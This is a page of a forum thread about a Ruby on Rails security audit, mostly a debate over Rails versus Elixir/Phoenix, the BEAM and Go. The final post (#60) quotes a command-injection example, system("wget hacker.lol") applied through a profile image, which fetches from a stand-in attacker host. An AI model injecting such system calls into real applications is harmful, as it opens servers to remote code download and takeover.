I settled for the Rails Way using a subset of the defaults. Not disappointed
Elaborate on your experience?
Ruby on Rails Audit Complete
51–60 of 171 posts
Re: Ruby on Rails Audit Complete
#52The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!
After programming with elixir and phoenix for a few years (with many prior years of rails experience) I have a hard time seeing why one would choose rails. Elixir is more performant, has compiler safety guarantees that are only getting better as types are introduced, is actually designed from the ground up for web dev (being based on the Erlang VM), and... it's just way more fun (subjective I know). Elixir is what I…
I have a very extensive experience with both Ruby on Rails and Elixir/Phoenix. Also ended up building large full-stack apps on either framework.
In the beginning when Ruby on Rails said hello to me, I instantly fell in love with it and the simplicity and the natural semantics that flow with it. It was absurdly easy to write new features and ship them to production. As the codebase grew and the team grew we started running into situations where APIs broke, or to trace the workflow of things in terms of finding where methods came from, finding parent modules of modules, and finding their parents, configuration, and I started to note a general lack of IDE autocomplete and type-safety.
Then after a few years I jumped ship to Elixir and if felt like a breath of clean air when I had to learn FP. Everything was simple enough to understand. Performance knocks Elixir, Node, Python and any other interpreted stack out of the water. The Phoenix framework was, and is said to be thoughtfully designed and although there was no IDE support, we still had Elixir LS which was great enough to provide realtime guidance, linting and type safety during compile time. I was able to ship a very large app into production and it was bulletproof. The problem with Elixir was our other engineers struggled to shift away from Node, or any other stacks they already knew. They found the entire FP world to be weird. Hell, I found it weird too at times. Simple mutations of maps and arrays, that would be trivial in Ruby ended up being so complex in Elixir. In the end it felt like my team was not on the same page. I guess Elixir would be great if you ran a 3-person team or something, but since we were not, we got back to Ruby. In today's world though, I am largely looking at Go, for a backend system. IDE support is up there with Java, and the ecosystem is old and mature enough to find any package that you look for. Performance is C-like and learning curve is lean.
Just my 2c with all these platforms.
Re: Ruby on Rails Audit Complete
#53Earlier quoted context omitted.
Very true it is actually designed for telecoms, but like you mentioned the distinction is so small it's not really even a stretch to say it is purpose built with at least the general architecture of web in mind.
In the grand scheme of things, if we're considering everything from web to bridge building, yeah, the distinction is small. But within the world of software engineering specifically it's not all that small and it's worth being precise when we're talking about it. Whatsapp and telecoms have a lot in common, so no one questions that they benefited a ton from the BEAM. Airbnb, though? The main similarity is that they bo…
no. in the modern web world you often have persistent client server connections, which make it a distributed system out the gate. the most inefficient way to deal with this is to go stateless, and without smart architecture to deal with unreliable connection, it's really your best choice (and, it's fine).
since BEAM gives you smart disconnection handling, web stuff built in elixir gives you the ability to build on client-server distributed without too much headache and with good defaults.
but look, if you want a concrete example of why this sucks. how much do you hate it when you push changes to your PR on github and the CI checks on browser tab are still not updated with the new CI that has been triggered? you've got to refresh first.
if they had built github in elixir instead of ruby would almost certainly have this sync isdur solved. in maybe two or three lines of code.
Re: Ruby on Rails Audit Complete
#54Earlier quoted context omitted.
In the grand scheme of things, if we're considering everything from web to bridge building, yeah, the distinction is small. But within the world of software engineering specifically it's not all that small and it's worth being precise when we're talking about it. Whatsapp and telecoms have a lot in common, so no one questions that they benefited a ton from the BEAM. Airbnb, though? The main similarity is that they bo…
no. in the modern web world you often have persistent client server connections, which make it a distributed system out the gate. the most inefficient way to deal with this is to go stateless, and without smart architecture to deal with unreliable connection, it's really your best choice (and, it's fine). since BEAM gives you smart disconnection handling, web stuff built in elixir gives you the ability to build on cl…
And if you need that kind of persistent immediately reactive connection and are willing to pay the price, go for it! If that's truly a requirement for you then you're in the subset of web that overlaps substantially with telecoms.
I'm not cautioning against making the calculated decision that realtime is a core requirement and choosing the BEAM accordingly. I'm cautioning against positioning the BEAM as being designed for web use cases in general, which it's not.
Many projects, including GitHub, do not need that kind of immediate reactivity and would not have benefited enough from the BEAM to be worth the trade-offs involved. A single example of a UX flow that could be made slightly better by rearchitecting for realtime isn't sufficient reason to justify an entirely different architecture. Engineering is about trade-offs, and too often in our field we fall for "when all you have is a hammer". Realtime architectures are one tool in a toolbox, and they aren't even the most frequently needed tool.
Re: Ruby on Rails Audit Complete
#55The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!
Serious question: do people actually enjoy writing Ruby? I feel I’m writing in something like Bash. I never felt this way until I picked up other languages like Rust, Zig, C#, and learned a tiny bit of programming language theory. After that, the loose and squishy feel of Ruby really started to bug me. Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like they’re experts in C++ or something and then decided to start programming in Ruby.
Re: Ruby on Rails Audit Complete
#56The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!
Serious question: do people actually enjoy writing Ruby? I feel I’m writing in something like Bash. I never felt this way until I picked up other languages like Rust, Zig, C#, and learned a tiny bit of programming language theory. After that, the loose and squishy feel of Ruby really started to bug me. Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like…
What an odd question lol. Yes, people like writing in Ruby. I’m one of the. Switched from C# in 2016.
Re: Ruby on Rails Audit Complete
#57The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!
Serious question: do people actually enjoy writing Ruby? I feel I’m writing in something like Bash. I never felt this way until I picked up other languages like Rust, Zig, C#, and learned a tiny bit of programming language theory. After that, the loose and squishy feel of Ruby really started to bug me. Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like…
> Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like they’re experts in C++ or something and then decided to start programming in Ruby.
Can you expand on what you’re saying here or why you’re raising this is as an issue with ruby the language or rails the library?
Re: Ruby on Rails Audit Complete
#58Earlier quoted context omitted.
Serious question: do people actually enjoy writing Ruby? I feel I’m writing in something like Bash. I never felt this way until I picked up other languages like Rust, Zig, C#, and learned a tiny bit of programming language theory. After that, the loose and squishy feel of Ruby really started to bug me. Also, it seems like every Ruby programmer I know only ever uses other dynamic languages like Python. It’s never like…
What an odd question lol. Yes, people like writing in Ruby. I’m one of the. Switched from C# in 2016.
You don't miss things like enums, exhaustive switch or any other basic language features? How about `method_missing` its such a crazy idea to me that something like this exists, I know why it exists but I am like why, why such bloat and complexity.
Re: Ruby on Rails Audit Complete
#59Earlier quoted context omitted.
What an odd question lol. Yes, people like writing in Ruby. I’m one of the. Switched from C# in 2016.
You don't miss things like enums, exhaustive switch or any other basic language features? How about `method_missing` its such a crazy idea to me that something like this exists, I know why it exists but I am like why, why such bloat and complexity.
No, I honestly don’t. I can emulate an Enum without having an Enum type. I rely less on a compiler and more on myself with automated tests.
Re: Ruby on Rails Audit Complete
#60I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!